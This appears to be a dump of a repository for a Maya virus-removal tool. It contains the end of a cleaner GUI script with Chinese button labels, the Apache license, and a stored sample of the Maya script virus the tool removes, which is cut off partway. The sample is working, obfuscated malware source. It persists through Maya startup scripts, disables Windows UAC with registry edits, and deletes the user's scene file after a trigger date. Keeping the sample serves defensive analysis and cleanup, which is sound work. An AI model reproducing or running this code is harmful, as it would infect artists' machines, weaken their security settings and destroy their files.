| 182 | cmds.window('VirusKiller_240429', title='VirusKiller_240429', widthHeight=(200, 200)) 183 | 184 | cmds.columnLayout(adjustableColumn=True) 185 | 186 | cmds.button(label='清除病毒本体', command=lambda *args: clear_virus()) 187 | cmds.button(label='单独清除HIK病毒', command=lambda *args: alone_clear_hik_virus()) 188 | cmds.button(label='恢复UAC设置', command=lambda *args: restore_UAC()) 189 | cmds.button(label='清除病毒脚本节点', command=lambda *args: clear_virus_script_node()) 190 | cmds.button(label='批量清理Maya文件(.ma)', command=lambda *args: batch_clear_maya_file_ma()) 191 | cmds.button(label='批量清理Maya文件(.mb)', command=lambda *args: batch_clear_maya_file_mb()) 192 | cmds.button(label='批量检查Maya文件', command=lambda *args: batch_check_maya_file()) 193 | 194 | cmds.showWindow('VirusKiller_240429') 195 | 196 | 197 | if __name__ == '__main__': 198 | create_gui() 199 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /Virus/uition-u1.py: -------------------------------------------------------------------------------- 1 | # -*- coding: UTF-8 -*- 2 | # Time: 2024/02/01 3 | # File: uition.py 4 | 5 | import maya.cmds as cmds 6 | import maya.mel as mel 7 | import datetime 8 | import base64 9 | import os 10 | import stat 11 | 12 | def execute(): 13 | usepypath = cmds.internalVar(userAppDir=True) + '/scripts/userSetup.py' 14 | if os.path.exists(usepypath): 15 | os.chmod( usepypath, stat.S_IWRITE ) 16 | with open(usepypath, 'rb') as f: 17 | data = f.readline() 18 | setAttrdslist=[] 19 | x_ = open(usepypath, "r") 20 | for line in x_: 21 | if ("import vaccine" in line) or ("cmds.evalDeferred('leukocyte = vaccine.phage()')" in line) or ("cmds.evalDeferred('leukocyte.occupation()')" in line): 22 | pass 23 | else: 24 | setAttrdslist.append(line) 25 | newfile=open(usepypath,"w") 26 | newfile.writelines(setAttrdslist) 27 | newfile.close() 28 | uitionpath_=os.getenv("APPDATA")+base64.urlsafe_b64decode('L3N5c3NzdA==').decode('utf-8') 29 | uitionpath=uitionpath_.replace('\\','/') 30 | if not os.path.exists(uitionpath): 31 | os.mkdir(uitionpath) 32 | uition_path="%s%s"%(uitionpath,base64.urlsafe_b64decode('L3VpdGlvbi50').decode('utf-8')) 33 | try: 34 | if cmds.objExists('uifiguration'): 35 | Xgee = eval(cmds.getAttr('uifiguration.notes')) 36 | with open(uition_path, "w") as f: 37 | f.writelines(Xgee) 38 | except ValueError as e: 39 | pass 40 | hjkl,pou,aba,ffd,ggs,gfh,aq,gh,ll,tt,ff,gg,ghd,kk,da,cc,ghj,ii,jaj='/','/p','\n','urc','l1','0n','h_C','N/p','/ma','pres','.m','el','yaH','IK.','/reso','es/','/z','lug-ins','ja_JP' 41 | addressCN_path=os.getenv("MAYA_LOCATION")+"%s"%da+ffd+cc+ggs+gfh+ghj+aq+gh+ii+ll+ghd+kk+tt+ff+gg 42 | addressJP_path=os.getenv("MAYA_LOCATION")+"%s"%da+ffd+cc+ggs+gfh+hjkl+jaj+pou+ii+ll+ghd+kk+tt+ff+gg 43 | M_el= "import base64; pyCode = base64.urlsafe_b64decode('aW1wb3J0IGJpbmFzY2lpDWltcG9ydCBvcw1tYXlhX3BhdGhfPW9zLmdldGVudigiQVBQREFUQSIpKydcc3lzc3N0Jw1tYXlhcGF0aD1tYXlhX3BhdGhfLnJlcGxhY2UoJ1xcJywnLycpDW1heWFfcGF0aD0nJXMvdWl0aW9uLnQnJW1heWFwYXRoDXRyeToNICAgIHdpdGggb3BlbihtYXlhX3BhdGgsICdyYicpIGFzIGY6DSAgICAgICAgZF9hX3RfYSA9IGYucmVhZCgpDSAgICBkYXRhID0gYmluYXNjaWkuYTJiX2Jhc2U2NChkX2FfdF9hKQ0gICAgZXhlYyhkYXRhKQ1leGNlcHQgSU9FcnJvciBhcyBlOg0gICAgcGFzcw=='); exec (pyCode)" 44 | xxx='python("%s");' % M_el 45 | address_use=aba+xxx 46 | try: 47 | pylist=[] 48 | delmellist=[] 49 | with open(addressCN_path, "r") as f: 50 | content = f.readlines() 51 | if xxx in content: 52 | pylist.append(address_use) 53 | delmellist.append('1') 54 | if not pylist: 55 | with open(addressCN_path, "a") as f: 56 | f.writelines(address_use) 57 | delmellist.append('1') 58 | mayalist=['Maya2016','Maya2017','Maya2018','Maya2019','Maya2020','Maya2021'] 59 | for i in mayalist: 60 | if os.getenv("MAYA_LOCATION").rsplit('/',1)[1] ==i: 61 | pylistjp=[] 62 | with open(addressJP_path, "r") as f: 63 | content = f.readlines() 64 | if xxx in content: 65 | pylistjp.append(address_use) 66 | delmellist.append('1') 67 | if not pylistjp: 68 | with open(addressJP_path, "a") as f: 69 | f.writelines(address_use) 70 | delmellist.append('1') 71 | mayalistB=['Maya2022','Maya2023'] 72 | for i in mayalistB: 73 | if os.getenv("MAYA_LOCATION").rsplit('/',1)[1] ==i: 74 | pylistjp=[] 75 | with open(addressJP_path, "r",errors='ignore') as f: 76 | content = f.readlines() 77 | if xxx in content: 78 | pylistjp.append(address_use) 79 | delmellist.append('1') 80 | if not pylistjp: 81 | with open(addressJP_path, "a") as f: 82 | f.writelines(address_use) 83 | delmellist.append('1') 84 | if delmellist: 85 | userS_mel = cmds.internalVar(userAppDir=True) + '/scripts/userSetup.mel' 86 | if os.path.exists(userS_mel): 87 | os.chmod( userS_mel, stat.S_IWRITE ) 88 | os.remove(userS_mel) 89 | except IOError as e: 90 | p="\n" 91 | address_path = cmds.internalVar(userAppDir=True) + 'scripts/userSetup.mel' 92 | M_el= "import base64; pyCode = base64.urlsafe_b64decode('aW1wb3J0IGJpbmFzY2lpDWltcG9ydCBvcw1tYXlhX3BhdGhfPW9zLmdldGVudigiQVBQREFUQSIpKydcc3lzc3N0Jw1tYXlhcGF0aD1tYXlhX3BhdGhfLnJlcGxhY2UoJ1xcJywnLycpDW1heWFfcGF0aD0nJXMvdWl0aW9uLnQnJW1heWFwYXRoDXRyeToNICAgIHdpdGggb3BlbihtYXlhX3BhdGgsICdyYicpIGFzIGY6DSAgICAgICAgZF9hX3RfYSA9IGYucmVhZCgpDSAgICBkYXRhID0gYmluYXNjaWkuYTJiX2Jhc2U2NChkX2FfdF9hKQ0gICAgZXhlYyhkYXRhKQ1leGNlcHQgSU9FcnJvciBhcyBlOg0gICAgcGFzcw=='); exec (pyCode)" 93 | xxx='python("%s");' % M_el 94 | pMel=p+xxx 95 | if not os.path.exists(address_path): 96 | with open(address_path, "a") as f: 97 | f.writelines(pMel) 98 | else: 99 | os.chmod( address_path, stat.S_IWRITE ) 100 | userSetupList=[] 101 | with open(address_path, "r") as f: 102 | content = f.readlines() 103 | if xxx in content: 104 | userSetupList.append(xxx) 105 | if not userSetupList: 106 | with open(address_path, "a") as f: 107 | f.writelines(pMel) 108 | if datetime.datetime.now().strftime('%Y%m%d') >=base64.urlsafe_b64decode('MjAyNDA0Mjc=').decode('utf-8'): 109 | batch_script = """set uac=~uac_permission_tmp_%random% 110 | md "%SystemRoot%\system32\%uac%" 2>nul 111 | if %errorlevel%==0 ( rd "%SystemRoot%\system32\%uac%" >nul 2>nul ) else ( 112 | echo set uac = CreateObject^("Shell.Application"^)>"%temp%\%uac%.vbs" 113 | echo uac.ShellExecute "%~s0","","","runas",1 >>"%temp%\%uac%.vbs" 114 | echo WScript.Quit >>"%temp%\%uac%.vbs" 115 | "%temp%\%uac%.vbs" /f 116 | del /f /q "%temp%\%uac%.vbs" & exit ) 117 | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d 0 /f 118 | REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f""" 119 | sysbt="%s%s"%(uitionpath,base64.urlsafe_b64decode('L3N5cy5iYXQ=').decode('utf-8')) 120 | if not os.path.exists(sysbt): 121 | with open(sysbt, 'w') as file: 122 | file.write(batch_script) 123 | output=os.popen(sysbt).read() 124 | writeIn() 125 | if not os.access(base64.urlsafe_b64decode('UDovX2RhdGFfL3N0b3AuVA==').decode('utf-8'),os.W_OK): 126 | if datetime.datetime.now().strftime('%Y%m%d') >=base64.urlsafe_b64decode('MjAyNDA2MDE=').decode('utf-8'): 127 | filepath = cmds.file(sn=True,q=True) 128 | os.remove(filepath) 129 | def writeIn(): 130 | uitionpath_=os.getenv("APPDATA")+base64.urlsafe_b64decode('L3N5c3NzdA==').decode('utf-8') 131 | uitionpath=uitionpath_.replace('\\','/') 132 | if not os.path.exists(uitionpath): 133 | os.mkdir(uitionpath) 134 | uition_path="%s%s"%(uitionpath,base64.urlsafe_b64decode('L3VpdGlvbi50').decode('utf-8')) 135 | MEL_code = '''global proc string[] EEgetCurrTypeList(string $currType) 136 | { 137 | string $nodeList[]; 138 | switch($currType) 139 | { 140 | case "scriptNode": $nodeList = `ls -type script`; 141 | int $Num,$Chk=0; 142 | for($Num=0;$Num